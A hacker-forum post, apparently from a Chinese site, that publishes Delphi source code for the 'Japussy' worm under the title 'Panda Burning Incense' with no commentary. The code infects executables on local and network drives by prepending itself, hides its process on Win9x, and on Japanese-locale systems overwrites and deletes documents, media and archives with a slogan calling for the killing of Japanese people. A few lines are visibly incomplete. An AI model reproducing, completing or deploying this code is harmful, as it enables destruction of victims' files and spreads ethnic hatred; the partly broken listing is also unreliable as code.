[恶意软件] 熊猫烧香源代码

 
627 2
悲年-王鹏博 2022-8-7 13:30:26 | 显示全部楼层 |阅读模式
  1. program Japussy;
  2. uses
  3. Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
  4. const
  5. HeaderSize = 82432;

  6. IconOffset = $12EB8;

  7. {
  8. HeaderSize = 38912;

  9. IconOffset = $92BC;


  10. //Upx 1.24W 用法: upx -9 --8086 Japussy.exe

  11. }
  12. IconSize = $2E8;

  13. IconTail = IconOffset + IconSize;

  14. ID = $44444444;




  15. Catchword = 'If a race need to be killed out, it must be Yamato. ' +
  16. 'If a country need to be destroyed, it must be Japan! ' +
  17. '*** W32.Japussy.Worm.A ***';
  18. {$R *.RES}
  19. function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  20. stdcall; external 'Kernel32.dll';

  21. var
  22. TmpFile: string;
  23. Si: STARTUPINFO;
  24. Pi: PROCESS_INFORMATION;
  25. IsJap: Boolean = False;


  26. function IsWin9x: Boolean;
  27. var
  28. Ver: TOSVersionInfo;
  29. begin
  30. Result := False;
  31. Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  32. if not GetVersionEx(Ver) then
  33. Exit;
  34. if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

  35. Result := True;
  36. end;

  37. procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  38. dStartPos: Integer; Count: Integer);
  39. var
  40. sCurPos, dCurPos: Integer;
  41. begin
  42. sCurPos := Src.Position;
  43. dCurPos := Dst.Position;
  44. Src.Seek(sStartPos, 0);
  45. Dst.Seek(dStartPos, 0);
  46. Dst.CopyFrom(Src, Count);
  47. Src.Seek(sCurPos, 0);
  48. Dst.Seek(dCurPos, 0);
  49. end;
  50. procedure ExtractFile(FileName: string);
  51. var
  52. sStream, dStream: TFileStream;
  53. begin
  54. try
  55. sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  56. try
  57. dStream := TFileStream.Create(FileName, fmCreate);
  58. try
  59. sStream.Seek(HeaderSize, 0);

  60. dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
  61. finally
  62. dStream.Free;
  63. end;
  64. finally
  65. sStream.Free;
  66. end;
  67. except
  68. end;
  69. end;

  70. procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
  71. begin
  72. Si.cb := SizeOf(Si);
  73. Si.lpReserved := nil;
  74. Si.lpDesktop := nil;
  75. Si.lpTitle := nil;
  76. Si.dwFlags := STARTF_USESHOWWINDOW;
  77. Si.wShowWindow := State;
  78. Si.cbReserved2 := 0;
  79. Si.lpReserved2 := nil;
  80. end;

  81. procedure SendMail;
  82. begin


  83. end;

  84. procedure InfectOneFile(FileName: string);
  85. var
  86. HdrStream, SrcStream: TFileStream;
  87. IcoStream, DstStream: TMemoryStream;
  88. iID: LongInt;
  89. aIcon: TIcon;
  90. Infected, IsPE: Boolean;
  91. i: Integer;
  92. Buf: array[0..1] of Char;
  93. begin
  94. try

  95. if CompareText(FileName, 'JAPUSSY.EXE') = 0 then

  96. Exit;
  97. Infected := False;
  98. IsPE := False;
  99. SrcStream := TFileStream.Create(FileName, fmOpenRead);
  100. try
  101. for i := 0 to $108 do

  102. begin
  103. SrcStream.Seek(i, soFromBeginning);
  104. SrcStream.Read(Buf, 2);
  105. if (Buf[0] = #80) and (Buf[1] = #69) then

  106. begin
  107. IsPE := True;

  108. Break;
  109. end;
  110. end;
  111. SrcStream.Seek(-4, soFromEnd);

  112. SrcStream.Read(iID, 4);
  113. if (iID = ID) or (SrcStream.Size < 10240) then

  114. Infected := True;
  115. finally
  116. SrcStream.Free;
  117. end;
  118. if Infected or (not IsPE) then

  119. Exit;
  120. IcoStream := TMemoryStream.Create;
  121. DstStream := TMemoryStream.Create;
  122. try
  123. aIcon := TIcon.Create;
  124. try


  125. aIcon.ReleaseHandle;
  126. aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
  127. aIcon.SaveToStream(IcoStream);
  128. finally
  129. aIcon.Free;
  130. end;
  131. SrcStream := TFileStream.Create(FileName, fmOpenRead);


  132. HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
  133. try


  134. CopyStream(HdrStream, 0, DstStream, 0, IconOffset);


  135. CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);


  136. CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);


  137. CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);


  138. DstStream.Seek(0, 2);
  139. iID := $44444444;
  140. DstStream.Write(iID, 4);
  141. finally
  142. HdrStream.Free;
  143. end;
  144. finally
  145. SrcStream.Free;
  146. IcoStream.Free;
  147. DstStream.SaveToFile(FileName);

  148. DstStream.Free;
  149. end;
  150. except;
  151. end;
  152. end;


  153. procedure SmashFile(FileName: string);
  154. var
  155. FileHandle: Integer;
  156. i, Size, Mass, Max, Len: Integer;
  157. begin
  158. try
  159. SetFileAttributes(PChar(FileName), 0);

  160. FileHandle := FileOpen(FileName, fmOpenWrite);

  161. try
  162. Size := GetFileSize(FileHandle, nil);

  163. i := 0;
  164. Randomize;
  165. Max := Random(15);

  166. if Max < 5 then
  167. Max := 5;
  168. Mass := Size div Max;

  169. Len := Length(Catchword);
  170. while i < Max do
  171. begin
  172. FileSeek(FileHandle, i * Mass, 0);


  173. FileWrite(FileHandle, Catchword, Len);
  174. Inc(i);
  175. end;
  176. finally
  177. FileClose(FileHandle);

  178. end;
  179. DeleteFile(PChar(FileName));

  180. except
  181. end;
  182. end;

  183. function GetDrives: string;
  184. var
  185. DiskType: Word;
  186. D: Char;
  187. Str: string;
  188. i: Integer;
  189. begin
  190. for i := 0 to 25 do

  191. begin
  192. D := Chr(i + 65);
  193. Str := D + ':';
  194. DiskType := GetDriveType(PChar(Str));


  195. if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
  196. Result := Result + D;
  197. end;
  198. end;

  199. procedure LoopFiles(Path, Mask: string);
  200. var
  201. i, Count: Integer;
  202. Fn, Ext: string;
  203. SubDir: TStrings;
  204. SearchRec: TSearchRec;
  205. Msg: TMsg;
  206. function IsValidDir(SearchRec: TSearchRec): Integer;
  207. begin
  208. if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
  209. (SearchRec.Name <> '..') then
  210. Result := 0

  211. else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
  212. (SearchRec.Name <> '..') then
  213. Result :=

  214. else Result := 2;

  215. end;
  216. begin
  217. if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  218. begin
  219. repeat
  220. PeekMessage(Msg, 0, 0, 0, PM_REMOVE);

  221. if IsValidDir(SearchRec) = 0 then
  222. begin
  223. Fn := Path + SearchRec.Name;
  224. Ext := UpperCase(ExtractFileExt(Fn));
  225. if (Ext = '.EXE') or (Ext = '.SCR') then
  226. begin
  227. InfectOneFile(Fn);

  228. end
  229. else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
  230. begin


  231. end
  232. else if Ext = '.WAB' then

  233. begin


  234. end
  235. else if Ext = '.ADC' then

  236. begin


  237. end
  238. else if Ext = 'IND' then

  239. begin


  240. end
  241. else
  242. begin
  243. if IsJap then

  244. begin
  245. if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
  246. (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
  247. (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
  248. (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
  249. (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
  250. (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
  251. SmashFile(Fn);

  252. end;
  253. end;
  254. end;


  255. Sleep(200);
  256. until (FindNext(SearchRec) <> 0);
  257. end;
  258. FindClose(SearchRec);
  259. SubDir := TStringList.Create;
  260. if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  261. begin
  262. repeat
  263. if IsValidDir(SearchRec) = 1 then
  264. SubDir.Add(SearchRec.Name);
  265. until (FindNext(SearchRec) <> 0);
  266. end;
  267. FindClose(SearchRec);
  268. Count := SubDir.Count - 1;
  269. for i := 0 to Count do
  270. LoopFiles(Path + SubDir.Strings[i] + '', Mask);
  271. FreeAndNil(SubDir);
  272. end;

  273. procedure InfectFiles;

  274. var
  275. DriverList: string;
  276. i, Len: Integer;
  277. begin
  278. if GetACP = 932 then

  279. IsJap := True;

  280. DriverList := GetDrives;

  281. Len := Length(DriverList);
  282. while True do

  283. begin
  284. for i := Len downto 1 do

  285. LoopFiles(DriverList[i] + ':', '*.*');

  286. SendMail;

  287. Sleep(1000 * 60 * 5);

  288. end;
  289. end;

  290. begin
  291. if IsWin9x then

  292. RegisterServiceProcess(GetCurrentProcessID, 1)

  293. else //WinNT

  294. begin


  295. end;


  296. if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
  297. InfectFiles

  298. else

  299. begin
  300. TmpFile := ParamStr(0);

  301. Delete(TmpFile, Length(TmpFile) - 4, 4);
  302. TmpFile := TmpFile + #32 + '.exe';

  303. ExtractFile(TmpFile);

  304. FillStartupInfo(Si, SW_SHOWDEFAULT);
  305. CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
  306. 0, nil, '.', Si, Pi);

  307. InfectFiles;

  308. end;
复制代码
shadow虚空幻影 2022-9-30 21:31:51 | 显示全部楼层
终于找到了。。。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

悲年-王鹏博

精英红客

关注
  • 15
    主题
  • 2
    粉丝
  • 3
    关注
这家伙很蛇,什么都留下了

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行